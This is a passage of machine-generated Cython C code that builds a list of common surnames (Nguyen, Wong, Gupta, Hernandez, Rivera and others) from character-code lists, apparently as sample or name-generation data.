  PyList_SET_ITEM(__pyx_t_76, 1, __pyx_int_105);
  __Pyx_INCREF(__pyx_int_110);
  __Pyx_GIVEREF(__pyx_int_110);
  PyList_SET_ITEM(__pyx_t_76, 2, __pyx_int_110);
  __Pyx_INCREF(__pyx_int_103);
  __Pyx_GIVEREF(__pyx_int_103);
  PyList_SET_ITEM(__pyx_t_76, 3, __pyx_int_103);
  __Pyx_INCREF(__pyx_int_104);
  __Pyx_GIVEREF(__pyx_int_104);
  PyList_SET_ITEM(__pyx_t_76, 4, __pyx_int_104);
  __pyx_t_75 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_76); if (unlikely(!__pyx_t_75)) __PYX_ERR(0, 274, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_75);
  __Pyx_DECREF(__pyx_t_76); __pyx_t_76 = 0;
  __pyx_t_76 = __Pyx_decode_bytes(__pyx_t_75, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_76)) __PYX_ERR(0, 274, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_76);
  __Pyx_DECREF(__pyx_t_75); __pyx_t_75 = 0;

  
  __pyx_t_75 = PyList_New(6); if (unlikely(!__pyx_t_75)) __PYX_ERR(0, 275, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_75);
  __Pyx_INCREF(__pyx_int_78);
  __Pyx_GIVEREF(__pyx_int_78);
  PyList_SET_ITEM(__pyx_t_75, 0, __pyx_int_78);
  __Pyx_INCREF(__pyx_int_103);
  __Pyx_GIVEREF(__pyx_int_103);
  PyList_SET_ITEM(__pyx_t_75, 1, __pyx_int_103);
  __Pyx_INCREF(__pyx_int_117);
  __Pyx_GIVEREF(__pyx_int_117);
  PyList_SET_ITEM(__pyx_t_75, 2, __pyx_int_117);
  __Pyx_INCREF(__pyx_int_121);
  __Pyx_GIVEREF(__pyx_int_121);
  PyList_SET_ITEM(__pyx_t_75, 3, __pyx_int_121);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_75, 4, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_110);
  __Pyx_GIVEREF(__pyx_int_110);
  PyList_SET_ITEM(__pyx_t_75, 5, __pyx_int_110);
  __pyx_t_74 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_75); if (unlikely(!__pyx_t_74)) __PYX_ERR(0, 275, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_74);
  __Pyx_DECREF(__pyx_t_75); __pyx_t_75 = 0;
  __pyx_t_75 = __Pyx_decode_bytes(__pyx_t_74, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_75)) __PYX_ERR(0, 275, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_75);
  __Pyx_DECREF(__pyx_t_74); __pyx_t_74 = 0;

  
  __pyx_t_74 = PyList_New(4); if (unlikely(!__pyx_t_74)) __PYX_ERR(0, 276, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_74);
  __Pyx_INCREF(__pyx_int_87);
  __Pyx_GIVEREF(__pyx_int_87);
  PyList_SET_ITEM(__pyx_t_74, 0, __pyx_int_87);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_74, 1, __pyx_int_111);
  __Pyx_INCREF(__pyx_int_110);
  __Pyx_GIVEREF(__pyx_int_110);
  PyList_SET_ITEM(__pyx_t_74, 2, __pyx_int_110);
  __Pyx_INCREF(__pyx_int_103);
  __Pyx_GIVEREF(__pyx_int_103);
  PyList_SET_ITEM(__pyx_t_74, 3, __pyx_int_103);
  __pyx_t_73 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_74); if (unlikely(!__pyx_t_73)) __PYX_ERR(0, 276, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_73);
  __Pyx_DECREF(__pyx_t_74); __pyx_t_74 = 0;
  __pyx_t_74 = __Pyx_decode_bytes(__pyx_t_73, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_74)) __PYX_ERR(0, 276, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_74);
  __Pyx_DECREF(__pyx_t_73); __pyx_t_73 = 0;

  
  __pyx_t_73 = PyList_New(5); if (unlikely(!__pyx_t_73)) __PYX_ERR(0, 277, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_73);
  __Pyx_INCREF(__pyx_int_71);
  __Pyx_GIVEREF(__pyx_int_71);
  PyList_SET_ITEM(__pyx_t_73, 0, __pyx_int_71);
  __Pyx_INCREF(__pyx_int_117);
  __Pyx_GIVEREF(__pyx_int_117);
  PyList_SET_ITEM(__pyx_t_73, 1, __pyx_int_117);
  __Pyx_INCREF(__pyx_int_112);
  __Pyx_GIVEREF(__pyx_int_112);
  PyList_SET_ITEM(__pyx_t_73, 2, __pyx_int_112);
  __Pyx_INCREF(__pyx_int_116);
  __Pyx_GIVEREF(__pyx_int_116);
  PyList_SET_ITEM(__pyx_t_73, 3, __pyx_int_116);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_73, 4, __pyx_int_97);
  __pyx_t_72 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_73); if (unlikely(!__pyx_t_72)) __PYX_ERR(0, 277, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_72);
  __Pyx_DECREF(__pyx_t_73); __pyx_t_73 = 0;
  __pyx_t_73 = __Pyx_decode_bytes(__pyx_t_72, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_73)) __PYX_ERR(0, 277, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_73);
  __Pyx_DECREF(__pyx_t_72); __pyx_t_72 = 0;

  
  __pyx_t_72 = PyList_New(5); if (unlikely(!__pyx_t_72)) __PYX_ERR(0, 278, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_72);
  __Pyx_INCREF(__pyx_int_75);
  __Pyx_GIVEREF(__pyx_int_75);
  PyList_SET_ITEM(__pyx_t_72, 0, __pyx_int_75);
  __Pyx_INCREF(__pyx_int_117);
  __Pyx_GIVEREF(__pyx_int_117);
  PyList_SET_ITEM(__pyx_t_72, 1, __pyx_int_117);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_72, 2, __pyx_int_109);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_72, 3, __pyx_int_97);
  __Pyx_INCREF(__pyx_int_114);
  __Pyx_GIVEREF(__pyx_int_114);
  PyList_SET_ITEM(__pyx_t_72, 4, __pyx_int_114);
  __pyx_t_71 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_72); if (unlikely(!__pyx_t_71)) __PYX_ERR(0, 278, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_71);
  __Pyx_DECREF(__pyx_t_72); __pyx_t_72 = 0;
  __pyx_t_72 = __Pyx_decode_bytes(__pyx_t_71, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_72)) __PYX_ERR(0, 278, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_72);
  __Pyx_DECREF(__pyx_t_71); __pyx_t_71 = 0;

  
  __pyx_t_71 = PyList_New(5); if (unlikely(!__pyx_t_71)) __PYX_ERR(0, 279, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_71);
  __Pyx_INCREF(__pyx_int_71);
  __Pyx_GIVEREF(__pyx_int_71);
  PyList_SET_ITEM(__pyx_t_71, 0, __pyx_int_71);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_71, 1, __pyx_int_111);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_71, 2, __pyx_int_109);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_71, 3, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_122);
  __Pyx_GIVEREF(__pyx_int_122);
  PyList_SET_ITEM(__pyx_t_71, 4, __pyx_int_122);
  __pyx_t_70 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_71); if (unlikely(!__pyx_t_70)) __PYX_ERR(0, 279, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_70);
  __Pyx_DECREF(__pyx_t_71); __pyx_t_71 = 0;
  __pyx_t_71 = __Pyx_decode_bytes(__pyx_t_70, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_71)) __PYX_ERR(0, 279, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_71);
  __Pyx_DECREF(__pyx_t_70); __pyx_t_70 = 0;

  
  __pyx_t_70 = PyList_New(5); if (unlikely(!__pyx_t_70)) __PYX_ERR(0, 280, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_70);
  __Pyx_INCREF(__pyx_int_76);
  __Pyx_GIVEREF(__pyx_int_76);
  PyList_SET_ITEM(__pyx_t_70, 0, __pyx_int_76);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_70, 1, __pyx_int_111);
  __Pyx_INCREF(__pyx_int_112);
  __Pyx_GIVEREF(__pyx_int_112);
  PyList_SET_ITEM(__pyx_t_70, 2, __pyx_int_112);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_70, 3, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_122);
  __Pyx_GIVEREF(__pyx_int_122);
  PyList_SET_ITEM(__pyx_t_70, 4, __pyx_int_122);
  __pyx_t_69 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_70); if (unlikely(!__pyx_t_69)) __PYX_ERR(0, 280, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_69);
  __Pyx_DECREF(__pyx_t_70); __pyx_t_70 = 0;
  __pyx_t_70 = __Pyx_decode_bytes(__pyx_t_69, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_70)) __PYX_ERR(0, 280, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_70);
  __Pyx_DECREF(__pyx_t_69); __pyx_t_69 = 0;

  
  __pyx_t_69 = PyList_New(9); if (unlikely(!__pyx_t_69)) __PYX_ERR(0, 281, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_69);
  __Pyx_INCREF(__pyx_int_72);
  __Pyx_GIVEREF(__pyx_int_72);
  PyList_SET_ITEM(__pyx_t_69, 0, __pyx_int_72);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_69, 1, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_114);
  __Pyx_GIVEREF(__pyx_int_114);
  PyList_SET_ITEM(__pyx_t_69, 2, __pyx_int_114);
  __Pyx_INCREF(__pyx_int_110);
  __Pyx_GIVEREF(__pyx_int_110);
  PyList_SET_ITEM(__pyx_t_69, 3, __pyx_int_110);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_69, 4, __pyx_int_97);
  __Pyx_INCREF(__pyx_int_110);
  __Pyx_GIVEREF(__pyx_int_110);
  PyList_SET_ITEM(__pyx_t_69, 5, __pyx_int_110);
  __Pyx_INCREF(__pyx_int_100);
  __Pyx_GIVEREF(__pyx_int_100);
  PyList_SET_ITEM(__pyx_t_69, 6, __pyx_int_100);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_69, 7, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_122);
  __Pyx_GIVEREF(__pyx_int_122);
  PyList_SET_ITEM(__pyx_t_69, 8, __pyx_int_122);
  __pyx_t_68 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_69); if (unlikely(!__pyx_t_68)) __PYX_ERR(0, 281, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_68);
  __Pyx_DECREF(__pyx_t_69); __pyx_t_69 = 0;
  __pyx_t_69 = __Pyx_decode_bytes(__pyx_t_68, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_69)) __PYX_ERR(0, 281, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_69);
  __Pyx_DECREF(__pyx_t_68); __pyx_t_68 = 0;

  
  __pyx_t_68 = PyList_New(8); if (unlikely(!__pyx_t_68)) __PYX_ERR(0, 282, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_68);
  __Pyx_INCREF(__pyx_int_71);
  __Pyx_GIVEREF(__pyx_int_71);
  PyList_SET_ITEM(__pyx_t_68, 0, __pyx_int_71);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_68, 1, __pyx_int_111);
  __Pyx_INCREF(__pyx_int_110);
  __Pyx_GIVEREF(__pyx_int_110);
  PyList_SET_ITEM(__pyx_t_68, 2, __pyx_int_110);
  __Pyx_INCREF(__pyx_int_122);
  __Pyx_GIVEREF(__pyx_int_122);
  PyList_SET_ITEM(__pyx_t_68, 3, __pyx_int_122);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_68, 4, __pyx_int_97);
  __Pyx_INCREF(__pyx_int_108);
  __Pyx_GIVEREF(__pyx_int_108);
  PyList_SET_ITEM(__pyx_t_68, 5, __pyx_int_108);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_68, 6, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_122);
  __Pyx_GIVEREF(__pyx_int_122);
  PyList_SET_ITEM(__pyx_t_68, 7, __pyx_int_122);
  __pyx_t_67 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_68); if (unlikely(!__pyx_t_67)) __PYX_ERR(0, 282, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_67);
  __Pyx_DECREF(__pyx_t_68); __pyx_t_68 = 0;
  __pyx_t_68 = __Pyx_decode_bytes(__pyx_t_67, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_68)) __PYX_ERR(0, 282, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_68);
  __Pyx_DECREF(__pyx_t_67); __pyx_t_67 = 0;

  
  __pyx_t_67 = PyList_New(5); if (unlikely(!__pyx_t_67)) __PYX_ERR(0, 283, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_67);
  __Pyx_INCREF(__pyx_int_80);
  __Pyx_GIVEREF(__pyx_int_80);
  PyList_SET_ITEM(__pyx_t_67, 0, __pyx_int_80);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_67, 1, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_114);
  __Pyx_GIVEREF(__pyx_int_114);
  PyList_SET_ITEM(__pyx_t_67, 2, __pyx_int_114);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_67, 3, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_122);
  __Pyx_GIVEREF(__pyx_int_122);
  PyList_SET_ITEM(__pyx_t_67, 4, __pyx_int_122);
  __pyx_t_66 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_67); if (unlikely(!__pyx_t_66)) __PYX_ERR(0, 283, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_66);
  __Pyx_DECREF(__pyx_t_67); __pyx_t_67 = 0;
  __pyx_t_67 = __Pyx_decode_bytes(__pyx_t_66, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_67)) __PYX_ERR(0, 283, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_67);
  __Pyx_DECREF(__pyx_t_66); __pyx_t_66 = 0;

  
  __pyx_t_66 = PyList_New(7); if (unlikely(!__pyx_t_66)) __PYX_ERR(0, 284, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_66);
  __Pyx_INCREF(__pyx_int_83);
  __Pyx_GIVEREF(__pyx_int_83);
  PyList_SET_ITEM(__pyx_t_66, 0, __pyx_int_83);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_66, 1, __pyx_int_97);
  __Pyx_INCREF(__pyx_int_110);
  __Pyx_GIVEREF(__pyx_int_110);
  PyList_SET_ITEM(__pyx_t_66, 2, __pyx_int_110);
  __Pyx_INCREF(__pyx_int_99);
  __Pyx_GIVEREF(__pyx_int_99);
  PyList_SET_ITEM(__pyx_t_66, 3, __pyx_int_99);
  __Pyx_INCREF(__pyx_int_104);
  __Pyx_GIVEREF(__pyx_int_104);
  PyList_SET_ITEM(__pyx_t_66, 4, __pyx_int_104);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_66, 5, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_122);
  __Pyx_GIVEREF(__pyx_int_122);
  PyList_SET_ITEM(__pyx_t_66, 6, __pyx_int_122);
  __pyx_t_65 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_66); if (unlikely(!__pyx_t_65)) __PYX_ERR(0, 284, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_65);
  __Pyx_DECREF(__pyx_t_66); __pyx_t_66 = 0;
  __pyx_t_66 = __Pyx_decode_bytes(__pyx_t_65, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_66)) __PYX_ERR(0, 284, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_66);
  __Pyx_DECREF(__pyx_t_65); __pyx_t_65 = 0;

  
  __pyx_t_65 = PyList_New(7); if (unlikely(!__pyx_t_65)) __PYX_ERR(0, 285, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_65);
  __Pyx_INCREF(__pyx_int_82);
  __Pyx_GIVEREF(__pyx_int_82);
  PyList_SET_ITEM(__pyx_t_65, 0, __pyx_int_82);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_65, 1, __pyx_int_97);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_65, 2, __pyx_int_109);
  __Pyx_INCREF(__pyx_int_105);
  __Pyx_GIVEREF(__pyx_int_105);
  PyList_SET_ITEM(__pyx_t_65, 3, __pyx_int_105);
  __Pyx_INCREF(__pyx_int_114);
  __Pyx_GIVEREF(__pyx_int_114);
  PyList_SET_ITEM(__pyx_t_65, 4, __pyx_int_114);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_65, 5, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_122);
  __Pyx_GIVEREF(__pyx_int_122);
  PyList_SET_ITEM(__pyx_t_65, 6, __pyx_int_122);
  __pyx_t_64 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_65); if (unlikely(!__pyx_t_64)) __PYX_ERR(0, 285, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_64);
  __Pyx_DECREF(__pyx_t_65); __pyx_t_65 = 0;
  __pyx_t_65 = __Pyx_decode_bytes(__pyx_t_64, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_65)) __PYX_ERR(0, 285, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_65);
  __Pyx_DECREF(__pyx_t_64); __pyx_t_64 = 0;

  
  __pyx_t_64 = PyList_New(6); if (unlikely(!__pyx_t_64)) __PYX_ERR(0, 286, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_64);
  __Pyx_INCREF(__pyx_int_84);
  __Pyx_GIVEREF(__pyx_int_84);
  PyList_SET_ITEM(__pyx_t_64, 0, __pyx_int_84);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_64, 1, __pyx_int_111);
  __Pyx_INCREF(__pyx_int_114);
  __Pyx_GIVEREF(__pyx_int_114);
  PyList_SET_ITEM(__pyx_t_64, 2, __pyx_int_114);
  __Pyx_INCREF(__pyx_int_114);
  __Pyx_GIVEREF(__pyx_int_114);
  PyList_SET_ITEM(__pyx_t_64, 3, __pyx_int_114);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_64, 4, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_115);
  __Pyx_GIVEREF(__pyx_int_115);
  PyList_SET_ITEM(__pyx_t_64, 5, __pyx_int_115);
  __pyx_t_63 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_64); if (unlikely(!__pyx_t_63)) __PYX_ERR(0, 286, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_63);
  __Pyx_DECREF(__pyx_t_64); __pyx_t_64 = 0;
  __pyx_t_64 = __Pyx_decode_bytes(__pyx_t_63, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_64)) __PYX_ERR(0, 286, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_64);
  __Pyx_DECREF(__pyx_t_63); __pyx_t_63 = 0;

  
  __pyx_t_63 = PyList_New(6); if (unlikely(!__pyx_t_63)) __PYX_ERR(0, 287, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_63);
  __Pyx_INCREF(__pyx_int_70);
  __Pyx_GIVEREF(__pyx_int_70);
  PyList_SET_ITEM(__pyx_t_63, 0, __pyx_int_70);
  __Pyx_INCREF(__pyx_int_108);
  __Pyx_GIVEREF(__pyx_int_108);
  PyList_SET_ITEM(__pyx_t_63, 1, __pyx_int_108);
  __Pyx_INCREF(__pyx_int_111);
  __Pyx_GIVEREF(__pyx_int_111);
  PyList_SET_ITEM(__pyx_t_63, 2, __pyx_int_111);
  __Pyx_INCREF(__pyx_int_114);
  __Pyx_GIVEREF(__pyx_int_114);
  PyList_SET_ITEM(__pyx_t_63, 3, __pyx_int_114);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_63, 4, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_115);
  __Pyx_GIVEREF(__pyx_int_115);
  PyList_SET_ITEM(__pyx_t_63, 5, __pyx_int_115);
  __pyx_t_62 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_63); if (unlikely(!__pyx_t_62)) __PYX_ERR(0, 287, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_62);
  __Pyx_DECREF(__pyx_t_63); __pyx_t_63 = 0;
  __pyx_t_63 = __Pyx_decode_bytes(__pyx_t_62, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_63)) __PYX_ERR(0, 287, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_63);
  __Pyx_DECREF(__pyx_t_62); __pyx_t_62 = 0;

  
  __pyx_t_62 = PyList_New(6); if (unlikely(!__pyx_t_62)) __PYX_ERR(0, 288, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_62);
  __Pyx_INCREF(__pyx_int_82);
  __Pyx_GIVEREF(__pyx_int_82);
  PyList_SET_ITEM(__pyx_t_62, 0, __pyx_int_82);
  __Pyx_INCREF(__pyx_int_105);
  __Pyx_GIVEREF(__pyx_int_105);
  PyList_SET_ITEM(__pyx_t_62, 1, __pyx_int_105);
  __Pyx_INCREF(__pyx_int_118);
  __Pyx_GIVEREF(__pyx_int_118);
  PyList_SET_ITEM(__pyx_t_62, 2, __pyx_int_118);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_62, 3, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_114);
  __Pyx_GIVEREF(__pyx_int_114);
  PyList_SET_ITEM(__pyx_t_62, 4, __pyx_int_114);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_62, 5, __pyx_int_97);
  __pyx_t_61 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_62); if (unlikely(!__pyx_t_61)) __PYX_ERR(0, 288, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_61);
  __Pyx_DECREF(__pyx_t_62); __pyx_t_62 = 0;
  __pyx_t_62 = __Pyx_decode_bytes(__pyx_t_61, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_62)) __PYX_ERR(0, 288, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_62);
  __Pyx_DECREF(__pyx_t_61); __pyx_t_61 = 0;

  
  __pyx_t_61 = PyList_New(5); if (unlikely(!__pyx_t_61)) __PYX_ERR(0, 289, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_61);
  __Pyx_INCREF(__pyx_int_83);
  __Pyx_GIVEREF(__pyx_int_83);
  PyList_SET_ITEM(__pyx_t_61, 0, __pyx_int_83);
  __Pyx_INCREF(__pyx_int_105);
  __Pyx_GIVEREF(__pyx_int_105);
  PyList_SET_ITEM(__pyx_t_61, 1, __pyx_int_105);
  __Pyx_INCREF(__pyx_int_108);
  __Pyx_GIVEREF(__pyx_int_108);
  PyList_SET_ITEM(__pyx_t_61, 2, __pyx_int_108);
  __Pyx_INCREF(__pyx_int_118);
  __Pyx_GIVEREF(__pyx_int_118);
  PyList_SET_ITEM(__pyx_t_61, 3, __pyx_int_118);
  __Pyx_INCREF(__pyx_int_97);
  __Pyx_GIVEREF(__pyx_int_97);
  PyList_SET_ITEM(__pyx_t_61, 4, __pyx_int_97);
  __pyx_t_60 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_61); if (unlikely(!__pyx_t_60)) __PYX_ERR(0, 289, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_60);
  __Pyx_DECREF(__pyx_t_61); __pyx_t_61 = 0;
  __pyx_t_61 = __Pyx_decode_bytes(__pyx_t_60, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_61)) __PYX_ERR(0, 289, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_61);
  __Pyx_DECREF(__pyx_t_60); __pyx_t_60 = 0;

  
  __pyx_t_60 = PyList_New(5); if (unlikely(!__pyx_t_60)) __PYX_ERR(0, 290, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_60);
  __Pyx_INCREF(__pyx_int_82);
  __Pyx_GIVEREF(__pyx_int_82);
  PyList_SET_ITEM(__pyx_t_60, 0, __pyx_int_82);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_60, 1, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_121);
  __Pyx_GIVEREF(__pyx_int_121);
  PyList_SET_ITEM(__pyx_t_60, 2, __pyx_int_121);
  __Pyx_INCREF(__pyx_int_101);
  __Pyx_GIVEREF(__pyx_int_101);
  PyList_SET_ITEM(__pyx_t_60, 3, __pyx_int_101);
  __Pyx_INCREF(__pyx_int_115);
  __Pyx_GIVEREF(__pyx_int_115);
  PyList_SET_ITEM(__pyx_t_60, 4, __pyx_int_115);
  __pyx_t_59 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_60); if (unlikely(!__pyx_t_59)) __PYX_ERR(0, 290, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_59);
  __Pyx_DECREF(__pyx_t_60); __pyx_t_60 = 0;
  __pyx_t_60 = __Pyx_decode_bytes(__pyx_t_59, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_60)) __PYX_ERR(0, 290, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_60);
  __Pyx_DECREF(__pyx_t_59); __pyx_t_59 = 0;

  
  __pyx_t_59 = PyList_New(7); if (unlikely(!__pyx_t_59)) __PYX_ERR(0, 291, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_59);
  __Pyx_INCREF(__pyx_int_65);
  __Pyx_GIVEREF(__pyx_int_65);
  PyList_SET_ITEM(__pyx_t_59, 0, __pyx_int_65);
  __Pyx_INCREF(__pyx_int_108);
  __Pyx_GIVEREF(__pyx_int_108);
